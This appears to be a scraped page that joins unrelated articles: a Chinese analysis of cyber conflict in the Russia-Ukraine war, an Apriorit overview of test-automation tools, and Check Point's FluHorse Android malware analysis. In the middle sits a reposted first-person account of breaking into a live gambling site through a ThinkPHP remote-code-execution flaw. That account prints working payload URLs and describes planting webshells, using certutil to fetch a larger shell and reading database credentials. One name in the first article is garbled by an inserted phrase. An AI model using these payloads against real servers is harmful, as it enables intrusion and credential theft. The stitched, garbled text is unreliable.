從該APT組織使用域名的維度看（見圖3），在2020年12月至2021年5月期間，該組織表現異常活躍，使用的域名到2021年5月達到創紀錄的8454個，隨後迅速回落到1000個左右。該組織使用的域名在2022年2月達到峰值的7292個。這意味著在俄烏衝突爆發前，該APT組織已做好了網絡空間對抗的相關準備。



 图3.jpg



圖3　衝突爆發前某APT組織使用的域名資產情況



2　衝突爆發前網絡空間資產的動態測繪數據分析ZoomEye的測繪數據（見圖4），可以發現，從衝突爆發前的2022年2月15日開始，烏克蘭的IP資產數量明顯下降。據媒體當天的報導，烏克蘭政府機構等關鍵部門遭到大規模DDoS攻擊。由此可以推測，是DDoS攻擊致癱了烏克蘭的大量網站等在線系統，主要表現為網絡空間資產的劇烈震盪。



 图4.jpg



圖4　烏克蘭全境IP存活狀態趨勢測繪



3　衝突爆發前的輿論信息數據在衝突爆發前，美國曾派白宮最高級別網絡安全官員訪問北約，協調盟友共同幫助烏克蘭應對網絡戰。美國網絡司令部還增加了前往東歐的“前出狩獵”小組的數量，任務是加強烏克蘭的網絡防禦能力。美國還通過網絡平台散佈俄羅斯在不久後進攻烏克蘭的輿論，並多次在網上公佈俄軍在俄烏邊境調動和部署情況，揭開了俄烏衝突輿論信息戰的序幕。



三、俄烏衝突爆發初期網絡空間對抗在俄烏衝突初期，多家媒體報導，俄羅斯主要通過大規模DDoS攻擊、數據擦除惡意軟件攻擊等方式，使烏克蘭大量互聯網、通信、交通、能源、金融等關鍵信息基礎設施陷入癱瘓，有效打擊了烏方軍事指揮控制能力，為特別軍事行動發動“閃電戰”製造戰機。同時，烏克蘭在Telegram上持續發布任務，組織國際黑客向俄羅斯發起網絡攻擊。國際黑客組織“匿名者”（Anonymous）宣布對俄發動“網絡戰爭”，聲稱攻擊了俄羅斯電視台。克里姆林宮、國家杜馬和國防部的網站因DDoS攻擊而離線。這些情況可以從ZoomEye網絡空間動態測繪、攻擊者大數據監測、暗網流量監測的數據得到驗證和顯示。



1　ZoomEye網絡空間動態測繪數據俄烏衝突的爆發區域主要在烏克蘭境內，據ZoomEye對烏克蘭全境IP地址的在線存活狀態數據，可以看出，網絡戰場的網絡資產實際變化與特別軍事行動的時間點相吻合，也印證了實體戰場和網絡空間態勢之間有確切的時間對應關係。



2月23日至24日，烏方開始通過自主防衛手段主動斷網，保護關鍵信息基礎設施。從圖5可看出，2月24日16點51分，存活IP數量急劇下降至86%；2月24日20點37分，前期主動斷網系統重新上線，存活IP 數量反彈回升至94%。但是，在隨後一段時期（2月25日至3月7日），存活IP數量整體保持下降趨勢，網絡資產持續掉線。截至3月7日，存活IP數量已經降至78%。



 图5.jpg



圖5　烏克蘭全境IP在線存活變化趨勢



從烏克蘭各州IP存活數量變化趨勢數據（見圖6）可以看出，多數直轄市和州的存活IP數在2月24日均有急劇下降，與烏克蘭全境IP地址在線存活數量的變化趨勢相吻合。



 图6.jpg



圖6　烏克蘭各州IP存活數量變化趨勢



對烏克蘭首都和州2月24日IP存活比例和3月7日IP存活比例進行統計，統計結果如表1所示（該表格以基輔和各州2月23日IP存活數量進行降序排列）。



表1　烏克蘭各州IP存活率



 表1.jpg



對烏克蘭首都和州網絡資產掉線狀況進行統計，可以繪製成熱力圖（見圖7）。該圖反映的狀況映射出俄烏特別軍事行動的演進進程，即俄羅斯是從北（基輔州）、東（哈爾科夫州、頓涅茨克州）、南（扎波羅熱州）三個方向對烏克蘭發動突襲，與實際情況高度吻合（見圖8）。



 图7.jpg



圖7　烏克蘭各州網絡空間IP存活率熱力圖



 图8.jpg



圖8　俄烏特別軍事行動進程圖



通過ZoomEye對烏克蘭的網絡空間持續測繪，對烏克蘭的軍事及軍事相關的基礎設施存活變化進行觀察及統計分析（見圖9），可以發現，在衝突初期階段有一個急劇下降的趨勢，這個說明基礎設施成為衝突的核心重點攻擊目標，這也表明俄羅斯在衝突前就已經掌握了烏克蘭相關的關鍵基礎設施的分佈等數據，很可能在本次武裝衝突之前就展開對應的信息收集工作，由此說明在現代武裝衝突中國家的基礎設施安全至關重要，並且說明相比現實空間的實體戰，網絡戰早已經先行。



 图9.jpg



圖9　烏克蘭關鍵信息基礎設施在線存活變化趨勢



2022年2月24日的16點51分，烏克蘭的關基設施在數小時內掉線比例達到57.81%，遠遠高於非關基設施的掉線比例7.52%。 2022年3月7日，烏克蘭的關基設施掉線比例為66.00%，仍然遠高於非關基設施的掉線比例16.07%（見表2）。



表2　烏克蘭網絡資產變化情況



 表2.jpg



表2顯示，2月24日非關基設施的資產掉線比例是7.52%，3月7日非關基設施的資產掉線比例是16.07%，非關基設施的掉線比例有明顯的增加，說明戰爭對烏克蘭的民眾生活及社會局勢帶來了越來越多的不穩定性。這段時間的媒體報導顯示，大量的烏克蘭人民選擇離開烏克蘭。



從烏克蘭掉線的關基設施所屬行業分佈（見圖10）可以看出，掉線的關基設施數量最多的3個行業是金融、政府和能源。這與媒體報導俄羅斯針對烏克蘭的政府和銀行網站開展大量DDoS網絡攻擊的情況相呼應。



 图10.jpg



圖10 烏克蘭掉線關基設施行業分佈



據俄羅斯衛星通訊社2月27日消息，國際黑客組織“匿名者”（Anonymous）宣布對俄發動“網絡戰爭”，聲稱對今日俄羅斯電視台（RT）遭受的一次網絡攻擊負責，並“黑掉”了車臣政府網站，也攻擊了不少俄羅斯的攝像頭。同日，美國前國務卿希拉里马云惹不起马云克林頓呼籲美國黑客對俄羅斯發動網絡攻擊。另據Cyberscoop網站消息，俄羅斯政府3月2日公佈的一份清單顯示，有17500多個IP地址和174個互聯網域名參與了針對俄境內目標的持續DDoS攻擊，克里姆林宮、國家杜馬和國防部的網站因DDoS攻擊而離線。



依據對俄羅斯軍事、工業、能源、金融、交通等關基網絡空間資產的測繪數據（見圖11），其中包括對俄的近3000個關基單位，超過11萬網絡IP的存活、類型、所有者、漏洞、GPS位置、業務類型的測繪數據，可以發現，在黑客攻擊及輿論攻勢下，俄羅斯網絡空間資產和關鍵基礎設施情況基本保持穩定。這也說明俄羅斯具有較強的網絡防禦能力。



 图11.jpg



圖11　俄羅斯關鍵信息基礎設施在線存活變化趨勢



烏克蘭也作出了相應的反擊。烏克蘭總統澤連斯基、烏克蘭國家安全局等在呼籲國際黑客加入IT 軍團，從2022年2月26日起，在Telegram上持續發布任務（見表3），組織國際黑客向俄羅斯發起網絡攻擊，攻擊目標覆蓋俄羅斯的銀行、日報媒體、科技公司等網站（見表4）。 2月27日，烏克蘭在網絡上招募的一支由安全研究人員和黑客組成的志願“IT軍隊”，對包括政府機構、關鍵基礎設施和銀行在內的31個俄羅斯實體目標進行網絡攻擊。



表3　烏克蘭IT軍隊在Telegram上發布的部分任務



 表3.jpg



表4　烏克蘭IT軍隊發布的部分攻擊目標



 表4.jpg



2　 對攻擊者的大數據分析自2022年1月起，發生了多起針對烏克蘭重要網站的DDoS攻擊事件。依據創宇安全智腦監和雲蜜罐平台捕獲的攻擊日誌數據，攻擊者通過“肉雞”發起了大規模的DDoS攻擊，並伴隨烏克蘭局勢的變化2月13日之後加大了攻擊強度，在2月24日達到頂峰（見圖12）。



 图12.jpg



圖12　攻擊者利用“肉雞”對烏克蘭攻擊趨勢



依據2022年2月20日至2月27日烏克蘭“肉雞”攻擊變化趨勢數據，可以得出以下結論：一是烏克蘭“肉雞”數量從2022年2月20日起呈明顯的上升趨勢，到2月24日到達頂峰。據推測，這是攻擊者通過“肉雞”發起了大規模的DDoS攻擊的高峰期，時間點與普京宣布發起特別軍事行動的時間點相吻合。二是烏克蘭“肉雞”數量在2月24日明顯下降，與前述提到的烏克蘭全境IP地址在線存活數量在2月24日急劇下降的走勢及時間點吻合，兩個數據之間可互相印證。據推測，海量“肉雞”在發動攻擊後被快速主動銷毀。



3月1日，伊賽特公司（ESET）安全團隊披露了針對烏克蘭政府組織的第三種數據擦除惡意軟件IsaacWiper。這種新型數據擦除惡意軟件不帶有用於代碼驗證的數字簽名，與HermeticWiper沒有代碼相似性且複雜度較低，並自2月24日起不斷採用各種技術手段實施攻擊，烏克蘭數百台關鍵計算機被檢測到數據擦除惡意軟件，涉及烏克蘭的金融和政府承包商，導致相關組織的系統設備數據遭到惡意刪除。



依據創宇安全智腦長期對全球黑客使用的300萬跳板IP的跟踪數據，可以對黑客進行畫像，標記其ID、手段、戰法、動機、作戰規律。依據2月20日到3月27日近1萬個黑客使用的跳板抽樣數據（見圖13），在俄烏衝突爆發前幾天，這些跳板被大量用於攻擊俄羅斯，攻擊量比平常增加了30倍。



 图13.jpg



圖13　近1萬黑客使用的跳板抽樣數據



多方數據顯示，超過50個國際黑客組織捲入了俄烏網絡衝突。在雙方的持續抗衡下，其中39個黑客組織支持烏克蘭，並持續對俄羅斯發起網絡攻擊，僅15個黑客組織表示支持俄羅斯。相關黑客組織概要情況詳見表5。



表5 相關黑客組織概要情況



 表5-1.jpg



 表5-2.jpg



3　暗網流量的數據分析暗網因隱蔽性、匿名性往往成為網絡犯罪的滋生地，也成為俄烏衝突網絡對抗的“暗器”。可以說，幾乎所有有價值的攻擊都會通過暗網進行布控和發動。依據創宇安全智腦持續對暗網出口節點實時流量0.13%的採樣數據，對比俄烏衝突爆發前與俄烏衝突爆發初期的暗網流量變化，可以清晰感知暗流湧動的暗網流量變化態勢。



表6　暗網流量變化態勢



 表6.jpg



依據表6，暗網出口節點流量去往俄羅斯的佔比在俄烏衝突初期顯著上升，連接數（connection）由衝突前539,759，佔比6.79%，上升至衝突初期2,378,098，佔比29.30%，同期對比烏克蘭的出口訪問流量基本變化不大。俄烏衝突初期暗網出口流量排名前10的出口節點訪問IP地址顯示，其中有7個都是俄羅斯的IP。持續統計暗網出口節點流量訪問HTTP(S)協議-主機名Top10（見圖14），可以發現，大部分流量都去往俄羅斯的主要安全機構俄羅斯聯邦安全局官網fsb.ru。



 图14.jpg



圖14　俄烏衝突期間的暗網出口流量統計



結合3月6日匿名者黑客組織（Anonymous）在Twitter上發布的消息（見圖15），他們聲明已經讓fsb.ru不能訪問的消息顯示，推測匿名者黑客組織同時利用了大量的暗網流量，成功發動了網絡攻擊。



 图15.jpg



圖15　黑客組織在Twitter上發布的消息



4　對輿論信息數據的分析據國外媒體報導，自俄烏


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
无意间发现一个thinkphp的菠菜站，最近tp不是刚好有个漏洞吗？
然后就顺手测试了一下，但过程并不太顺利，不过最后还是拿下了，所以特发此文分享下思路。
0x00 一键getshell
简单看了下，应该有不少人玩吧？

ewax4yxhrpi12878.png
正好前几天写了个测试工具，先掏出来测试一发。
工具显示存在漏洞
kbyt2uitzc012879.png
一键getshell，看起来很顺利的样子，哈哈。
kbi5o5t4mss12880.png
但是...小明甩了下头发，发现事情并不简单。
c0omtsa0dzs12881.png
菜刀连接的时候，返回500错误。
xqrljowkjnj12882.png
我们用火狐的hackbar验证下,没毛病啊，那为什么菜刀连接不上呢？
作为菜逼的我不禁陷入了沉思...
3vgbe12kxk212883.png
0x01 开始分析
因为这个工具我自己写的，从上面getshell的图片中发现调用的是第三个exp，那么我们来分析下看看。
poc如下
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
我们在poc后面输入whoami看看权限。
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
iis权限
但是可以执行部分命令，比如echo dir等等。

wfav5dossdw12884.png
0x02 尝试突破拿shell
既然可以执行echo 那么我们可以来尝试写入个小马试试，如果成功的话，再利用小马上传大马，说干就干，苦活来了，我们得一行一行写入进去。
注意：代码中的<>符号，要用^^转义。比如<?php转义为^<^?php
rzla55y042j12885.png
逐行写入完成后，访问的时候发现并不能正常运行，这里忘记截图了。。
接下来尝试用以下方法下载文件到服务器上也失败了。
deuaak4s3dg12886.png
正当我打算放弃的时候，我想起来还有个下载的命令没用。
那就是certutil.exe
说干就干，把大马放到我们服务器上，开启HFS。
然后执行以下命令。
0bhu00byhmz12887.png
成功进入大马，不过别高兴太早。
y1jpypfpbrk12888.png
小明再次甩了下头发，发现事情更不简单....
jmr0my5itg212889.png
大马可以操作文件上传改名等等，但是无法编辑文件，无法查看文件源码等等，点开显示一片空白。
na1o2kvdisf12890.png
既然这样，那么我们进数据库看看吧。
我们都知道tp的数据库配置文件在以下这个位置
/application/database.php
大马是无法打开了，那么我们可以用tp的命令执行漏洞尝试用type命令去读取这个文件。
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=typec:\www\application\database.php
尝试type读取失败，然后又想到copy命令。
把database.php拷贝到web根目录下，改名为1.txt
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copyc:\www\application\database.php c:\www\public\1.txt
拷贝完成以后访问url/1.txt，发现里面是空的。

0x03 成功突破
经历了一系列的失败后，我冷静下来想了下，我们还可以用file_path去读取源码试试。
vmffebwqijj12891.png
用大马上传这个文件到根目录下，然后访问，成功拿到数据库配置信息。
acwotiu3nkb12892.png
然后填写好配置信息，进入数据库。
cpkry1oenud12893.pngpqwvramkm2q12894.png
此文写到这里已经夜深人静，看着桌子上吃了一半的泡面，最后喝了两口汤，关机，睡觉....


转载于原文链接：https://www.jianshu.com/p/1f9b02780f1c



		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
測試是創建任何軟件產品不可避免的一部分。但手動測試需要花費大量時間和精力，並且可能導致產品發布延遲。自動化測試可以幫助您提高測試工作的效率並加快解決方案的發布。然而，為了確保自動化測試真正帶來最好的結果，選擇合適的自動化軟件測試工具至關重要。



在本文中，我們簡要概述了我們在Apriorit 實施的測試自動化工具。本文將對QA 專家在他們的項目中尋找正確的方法和自動化測試工具很有用。



什麼是自動化測試？自動化測試是一種使用特殊自動化工具執行回歸測試和單元測試等軟件測試的技術。這種類型的測試與手動測試相反，在手動測試中，測試用例套件由QA 專家手動創建和執行。



自動化測試適用於需要多次重複測試的大型項目，也適用於最初手動測試但需要重新測試的項目。對於短期項目，手動測試更適合，因為它比自動化測試更靈活、更容易實施。您還可以使用手動測試來檢查產品的可用性。



使用軟件工程中的自動化測試工具，您可以比較預期和收到的測試結果，並獲得不同格式的非常詳細的報告。這種方法的一個有用特性是能夠在適當的地方重用測試用例。使用自動化測試，您可以減少手動測試的數量。



測試自動化有什麼好處？讓我們從探索自動化測試相對於手動測試的一些主要優勢開始。了解它們將幫助您了解軟件測試自動化工具是否對您的項目有益。



 image.png



自動化測試的優勢



1. 測試速度提升手動測試需要大量的日常工作。相比之下，自動化測試可以讓您在重複性任務上節省大量時間。此外，借助自動化軟件測試工具，您可以全天24 小時執行測試，而無需QA 專家在場並觀察過程。您可以在晚上運行一個腳本，早上就已經有了測試結果。



2. 降低測試成本從長遠來看，自動化降低了測試成本。為應用程序創建測試腳本後，您可以多次重複使用它以發現由於產品更改而出現的錯誤。



3. 提高測試精度自動化測試消除了人為錯誤的可能性。即使是專業的QA 專家也可能會犯無意的錯誤。正確組合的自動化腳本可提供最準確和詳細的測試結果。



4. 更大的測試覆蓋率自動化測試允許您模擬大量用戶在更多設備上的操作，這比手動測試專家在同一時間段內可能涵蓋的範圍要多。產品的測試覆蓋率越高，及時發現潛在錯誤的機會就越大。



5. 早期錯誤檢測確保在引入任何重大更改後測試您的產品。通過這種方式，您可以確保及早發現錯誤和錯誤，並在它們造成嚴重損害之前解決它們。



但是，如果沒有合適的工具，就不可能正確實施自動化測試。在下一節中，我們將討論最佳自動化測試工具的關鍵標準，以幫助您選擇最適合您項目需求的自動化測試工具或框架。



如何選擇最好的自動化測試工具？您可以從確定您對用於軟件測試的自動化工具的要求和評估您團隊的技能開始。然後，您可以根據這些信息評估不同的測試自動化工具和框架及其功能。



 image.png



一、項目要求每個項目都是獨一無二的。因此，您應該根據特定項目的要求來選擇最佳的自動化測試工具。對於您的項目，您可以根據要求選擇自動化測試工具，例如：



被測應用類型



支持的平台



支持的瀏覽器



支持的設備



支持的腳本語言



除了這些要求之外，您還可以考慮對測試項目至關重要的其他要求。



二、 QA團隊的編程能力根據QA 團隊的編程技能水平，您需要從兩種類型的自動化測試框架中進行選擇：



無腳本框架。如果您的測試團隊中沒有人具備編程技能，最好使用無腳本框架。選擇特定工具時，請特別注意項目所需的測試複雜程度：可以使用免費工具和服務實施簡單的自動化測試，而具有復雜邏輯的測試可能需要部署付費測試自動化解決方案。



編碼框架。此選項適用於具有強大編程技能的QA 專家。與無腳本替代方案相比，編碼框架更靈活且更易於維護。此外，建議使用編碼框架來測試處理視頻或音頻的產品。當您開始使用編碼框架進行自動化測試時，您將需要花費額外的時間來創建測試用例。但稍後，您將能夠通過重用這些測試用例來節省時間並加快測試過程。



三、CI/CD 集成如果您使用或計劃使用持續集成和持續交付（CI/CD），我們建議您選擇支持CI/CD 解決方案的框架。例如，Jenkins、TeamCity 和Bamboo 等CI/CD 解決方案開箱即用地支持Java、C# 和Python。但是在將這些服務器與其他語言和框架集成時可能會遇到一些困難。



此外，如果您打算使用無腳本框架，值得注意的是並非所有框架都可以與CI/CD 系統集成。



四、報告格式報告是測試自動化框架中最重要的組成部分。完成測試過程後，測試結果報告將幫助您分析應用程序中的所有缺陷。軟件測試中不同的自動化測試工具可以為您提供以下形式的報告：



測試過程視頻記錄



檢測到的錯誤的屏幕截圖



檢測到錯誤的堆棧跟踪



失敗測試步驟的詳細報告



時間報告



根據項目的需要，您可以選擇具有不同報告選項的自動化測試工具。大多數工具都可以創建錯誤和堆棧跟踪的屏幕截圖，並為您提供有關測試時間的信息。但只有少數人可以創建視頻記錄。



視頻記錄可以讓您在測試期間實際看到系統的行為。通過這種方式，您可以花更少的時間來確定特定錯誤的原因。但是視頻錄製會消耗額外的資源，因此由於負載增加，您將能夠運行更少的測試。不過，並非所有測試都需要錄像。例如，在API 測試期間通常不需要視頻報告。



五、工具實施成本雖然測試自動化可以降低測試產品的成本，但實施自動化工具的費用也會有所不同。尤其要注意兩個因素：



框架的成本。有免費產品，但它們的功能往往有限，並不適合所有人。付費產品反過來提供了更多的測試功能，但增加了項目的測試自動化費用。



參與自動化測試過程的專家成本。這可能包括培訓人員使用所選工具執行測試或僱用額外人員在您的項目中實施自動化測試的成本。



這些是為您的項目選擇正確的自動化測試工具的一些關鍵標準。此外，您可以將您的特定要求添加到此列表中。提出最終需求列表後，您可以開始按特定功能比較不同的自動化測試工具。為了讓您更輕鬆地做出選擇，在下一節中，我們將分享Apriorit QA 專家常用的軟件測試自動化工具和框架列表。



5個最好的自動化測試工具市場上有很多自動化軟件測試工具，但並非所有工具都適合您的項目。我們想分享我們在Apriorit 成功使用的自動化測試工具列表。此列表中提供的工具可供不同級別的測試工程師使用，用於測試針對不同平台使用不同語言編寫的產品。



 image.png



1. SeleniumSelenium是最流行的自動化網站和Web 應用程序測試框架之一。這個開源框架適合具有高級編程技能的QA 工程師。



Selenium包括幾個組件：



Selenium IDE（集成開發環境）



Selenium RC（遠程控制）



Selenium WebDriver



Selenium Grid



這四個組件有自己的測試自動化方法，因此您可以選擇最適合您目標的方法。



 image.png



屏幕截圖1. Selenium 界面



Selenium 是一種靈活的工具，允許您創建用於自動化測試的複雜腳本。您可以使用Selenium 進行跨平台測試。但是，考慮到您可以測試的平台集可能會因您選擇的語言而異。



Selenium 的最大優勢之一是其龐大的社區。如果您在實施此測試工具時需要幫助，您可以輕鬆地從其他Selenium 用戶那裡獲得幫助。



Selenium 可能存在的缺點包括測試支持成本高、初始階段創建測試用例的速度慢以及QA 專家進入門檻高，因為它是一個編碼框架，需要強大的編程技能。



2.SelenideSelenide，一個易於使用的開源Java 測試框架，基於Selenium WebDriver。 Selenide 擴展了Selenium WebDriver和JUnit的功能。在Apriorit，我們使用此工具來快速測試尚未使用自動化工具測試的產品。



 image.png



截圖2. Selenide 界面



Selenide 是跨平台的，並且有透明的WebDriver。 WebDriver 幫助您解決超時問題並允許測試Ajax 技術。使用Selenide，您不需要直接操作WebDriver，因為Selenide 控制了瀏覽器。



Selenide 的主要缺點是它只適合使用Java 編寫測試。



3. Telerik Test StudioTelerik Test Studio是軟件測試中的頂級自動化工具之一，可廣泛用於各種測試，包括移動應用程序測試、回歸測試、功能測試和負載測試。雖然它是一個無腳本框架，但您可以在必要時使用編程語言指定它的一些要求。



 image.png



截圖3. Telerik Test Studio 界面



Telerik 支持不同的系統，因此非常適合跨平台和跨瀏覽器的應用程序測試。內置記錄器和自動回放允許您對多個測試使用相同的腳本，這有助於您節省時間並提高測試速度。



您可以使用Telerik Test Studio 的試用版30 天。之後，您需要購買許可證。使用Telerik Test Studio，您需要為版本控製配置一個插件。此外，與其他自動化測試工具相比，Telerik 提供了一種不太舒適且更難處理對象屬性的方式。



4.Katalon StudioKatalon Studio是軟件工程中一個相對簡單的自動化測試工具，它使用預定義的工件結構，例如測試用例、測試套件、測試對象和報告。這極大地簡化了QA 專家的任務並加快了測試速度。



 image.png



截圖4. Katalon Studio 界面



該框架支持關鍵字驅動的測試。為了創建測試用例，QA 專家使用關鍵字來指示用戶對測試應用程序的操作。除了標準關鍵字外，您還可以添加自定義關鍵字。此功能將幫助編程知識有限的QA 專家更快地創建測試套件。為了更快地執行測試，您還可以使用測試套件集合功能並行或連續運行多個測試套件。



社區小是Katalon Studio 的缺點之一。如果您遇到此框架的問題，您將很難獲得任何支持。其次，您需要購買許可證才能獲得更多功能，因為只有基本功能是免費提供的。



5.TestCompleteTestComplete是一個無腳本框架，還支持多種編程語言。



 image.png



截圖5. TestComplete 界面



使用TestComplete 框架，QA 專家可以記錄並在以後回放測試場景，並且可以在不同的測試階段插入檢查點以檢查結果。使用對象識別引擎，TestComplete 可以識別動態界面元素。這對於用戶界面經常變化的應用程序特別有用。



至於TestComplete的缺點，成本高，有一些穩定性問題，缺乏透明的文檔。



測試自動化工具比較在下表中，我們對本文討論的所有五種頂級測試自動化工具進行了比較：



 image.png



結論自動化測試使您能夠更快、更準確地處理測試任務。但為了獲得最佳結果，選擇正確的測試工具很重要。沒有適用於所有項目的通用解決方案。選擇合適的工具取決於您的項目要求、您的預算和QA 專家的編程技能。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
微信截图_20230512233738.png



Check Point的研究人員最近發現了一種名為FluHorse的新型惡意軟件。該惡意軟件具有幾個模仿合法應用程序的惡意安卓應用程序，其中大多數安裝量超過100萬次。這些惡意應用程序竊取受害者的憑據和雙因素身份驗證（2FA）代碼。 FluHorse針對東亞市場的不同領域，並通過電子郵件進行傳播。在某些情況下，第一階段攻擊中使用的電子郵件屬於知名對象。惡意軟件可以在數月內不被發現，這使其成為一種持久、危險且難以發現的威脅。



 1.png



其中一個惡意軟件樣本在3個月後仍未在VirusTotal（VT）上檢測到



攻擊者使用規避技術、模糊處理和執行前的長時間延遲等技巧來躲過虛擬環境的檢測。通常，這些技巧都有自定義實現，需要開發者付出大量的努力。



令人驚訝的是，FluHorse內部沒有使用自定義實現的技巧，因為惡意軟件的開發者在開發過程中完全依賴開源框架。儘管一些應用程序部分是用Kotlin創建的，但惡意功能是用Flutter實現的。 Flutter是一個開源的用戶界面軟件開發工具包，由谷歌創建。它用於為各種平台開發跨平台應用程序，包括用於移動設備的Android和iOS，使用單個代碼庫。 Flutter之所以成為惡意軟件開發人員的一個有吸引力的選擇，是因為它使用自定義虛擬機（VM）來支持不同的平台，而且它易於創建GUI元素。此外，由於自定義的虛擬機，分析此類應用程序非常複雜，這使得該框架成為Android網絡釣魚攻擊的完美解決方案。



模擬應用程序攻擊者會為每個國家的目標開發一個虛假應用程序：攻擊者努力仔細模仿所有關鍵細節，以避免引起任何懷疑。



網絡釣魚讓我們看一下如何在應用程序的不同變體中實現網絡釣魚，有趣的是，惡意應用程序不包含任何東西，除了為受害者提供輸入可能性的幾個窗口副本。沒有添加額外的函數或檢查。這種刻意的簡單性讓我們得出結論，惡意軟件的開發者並沒有在他們創建的編程部分投入太多精力，又或者他們可能故意做出這個決定，以進一步減少被安全解決方案檢測到的機會。



不管他們的意圖是什麼，這個計劃都很有效。受害者輸入敏感數據後，這些數據會被洩露到CC服務器。與此同時，惡意軟件要求受害者在“處理數據”時等待幾分鐘。在這一步中，短信攔截功能發揮作用，將所有傳入的短信流量重定向到惡意服務器。如果攻擊者輸入被盜憑證或信用卡數據，然後被要求輸入雙因素身份驗證（2FA）代碼，這也會被攔截。網絡釣魚方案如下：



 4.png



惡意軟件如何進行網絡釣魚攻擊



請注意，根據惡意應用程序的類型（針對電子收費、銀行或約會用戶），可能不需要憑據或信用卡號。



感染鍊和目標在受害者的設備上安裝惡意應用程序之前，必須先發送惡意應用程序。這就是電子郵件誘餌派上用場的地方。我們追踪了不同類型惡意應用程序的感染鏈，並在這些電子郵件的收件人中發現了多個知名對象，包括政府部門和大型工業公司的員工。



電子郵件誘餌很好地利用了社會工程，並與隨後安裝的惡意APK的所謂目的一致：支付通行費。



這是一個帶有fetc.net.tw-notice@twfetc.com發件人地址：



 5.png



攻擊者發送給政府接收者的電子郵件示例



攻擊者使用的惡意fetc-net[.]com域與fetc公司的官方網站fetc.net.tw非常相似。



在這個惡意網站上，攻擊者添加了一個額外的保護層，以確保只有受害者才能下載APK：如果目標的用戶代理與預期的用戶代理匹配，就會下載APK。此檢查是通過客戶端JavaScript執行的：



 6.png



惡意軟件安裝完成後，需要短信權限：



 7.png



ETC APK請求SMS權限



在此步驟中獲得的權限將在受害者輸入敏感數據後生效。



惡意電子收費APK此應用程序僅包含3個窗口：



 8.png



惡意ETC APK按順序顯示的窗口



第一個窗口詢問用戶憑證，第二個窗口詢問信用卡數據。所有這些敏感數據都被洩露到惡意的CC服務器。接下來，第三個窗口要求用戶等待10分鐘，因為“系統繁忙”。希望用戶關閉應用程序，或者至少在合理的時間內不被懷疑。當用戶被“系統繁忙”消息誤導而產生虛假的安全感時，攻擊者會執行所有必要的操作，即攔截所有帶有2FA代碼的短信，並利用被盜數據。



這個誘餌應用程序的整個GUI看起來像是原始ETC應用程序的一個簡單副本，用於收取通行費。以下是惡意和合法應用程序入口窗口的可視化比較：



 9.png



原始輸入窗口(左)和惡意APK輸入窗口(右)



原始應用程序不顯示任何用於登錄或輸入用戶憑據的字段。相反，有一個單獨的窗口用於此目的：



 10.png



原始應用程序登錄表格



惡意VPBank APK此應用程序僅包含2個窗口：



 11.png



惡意VPBank APK按順序顯示的窗口



其原理與其他惡意APK相同：要求用戶輸入憑據，然後等待15分鐘（而惡意ETC APK則為10分鐘）。在此期間，惡意軟件攔截所有傳入的SMS，從而為攻擊者提供他們可能需要的所有2FA代碼。請注意，此應用程序不要求提供信用卡詳細信息。



惡意和合法應用程序登錄窗口之間的比較：



 12.png



原始登錄窗口（左）和惡意APK輸入窗口（右）



如上所示，即使缺少某些GUI元素，惡意副本看起來也很好。



惡意約會APK約會應用程序不包含任何窗口。相反，它實際上充當了一個瀏覽器，引導用戶進入釣魚約會網站。但是，竊取和處理數據的原理是一樣的。



我們沒有與受害者交互的所有步驟的屏幕截圖，因為在撰寫本文時，負責處理從該APK竊取的數據的惡意服務器尚未激活。根據代碼，只有信用卡數據被盜，不需要憑證。



 13.png



APK中顯示的釣魚交友網站窗口



所示消息的翻譯如下：



 14.png



網絡釣魚網站上顯示的消息翻譯。



技術細節與分析純Android應用程序相比，分析基於flutter的應用程序需要一些中間步驟才能達到目的。



深度分析如上所述，Flutter使用自定義的虛擬環境來支持具有單一代碼庫的多平台開發。開發過程中使用了一種名為Dart的特定編程語言。分析Flutter平台代碼變得更容易了，因為它是一個開源項目，但仍然是一個繁瑣的過程。



 15.png



Flutter Github頁面中的Dart演示



讓我們來看看在處理Flutter運行時的特殊領域時遇到的一些複雜情況。我們用哈希2811f0426f23a7a3b6a8d8b7e1bcd79e495026f4dcdc1c2fd218097c98de684解剖了一個APK。



ARM的Flutter運行時使用自己的堆棧指針寄存器（R15）而不是內置的堆棧指針（SP）。哪個寄存器用作堆棧指針在代碼執行或反向工程過程中沒有區別。然而，這對反編譯器來說有很大的不同。由於寄存器的使用不規範，會生成錯誤且難看的偽代碼。



啟動惡意軟件分析的一個好方法是確定與CC服務器的通信協議。這可以說明很多惡意功能。裡面有一個字符串，對應於我們在釣魚電子郵件中看到的網站：



 16.png



惡意APK中字符串中CC服務器的地址



然而，當我們試圖找到對此字符串的一些引用時，分析失敗：



 17.png



IDA中沒有對CC服務器字符串的引用



我們的目標是創建對該字符串的引用，以定位執行CC通信的代碼。



Flutter -re-demo和reFlutter可以用來處理Flutter應用程序，其主要思想是使用運行時快照來創建Dart對象並查找對它們的引用。 reFlutter的主要目的是收集函數的名稱，而flutter re-demo允許我們處理在應用程序執行期間收集的內存轉儲。



然而，除了內存快照之外，還需要一些更多的運行時信息。 Flutter運行時使用堆來創建對象，並將指向已創建對象的指針存儲在一個稱為對像池的特殊區域中。指向該池的指針被傳遞到寄存器X27中的方法。我們需要找到對像池的位置。



flutter-re-demo使用Frida收集內存轉儲並獲取對像池地址。如果我們使用在flutter-re-demo存儲庫中可用的dump_flutter_memory.js腳本運行APK，我們會看到所需的地址：



 18.png



帶有所需地址的Frida腳本輸出



現在我們已經擁有了開始一個高效的逆向工程所需的所有元素。



在用map_dart_vm_memory.py加載轉儲文件並運行create_dart_objects.py腳本後，我們現在至少可以看到一些對象：



 19.png



腳本創建的對象



有一個名為create_dart_objects.py的腳本，用於創建dart對象。該腳本通過遍歷對像池、解析記錄和創建對象來工作。腳本沒有關於這些對象的信息，腳本會為它們創建以下描述對象格式的結構：



 20.png



這裡的NNN被“class id”取代，如下所示：



 21.png



由create_dart_objects.py創建的結構



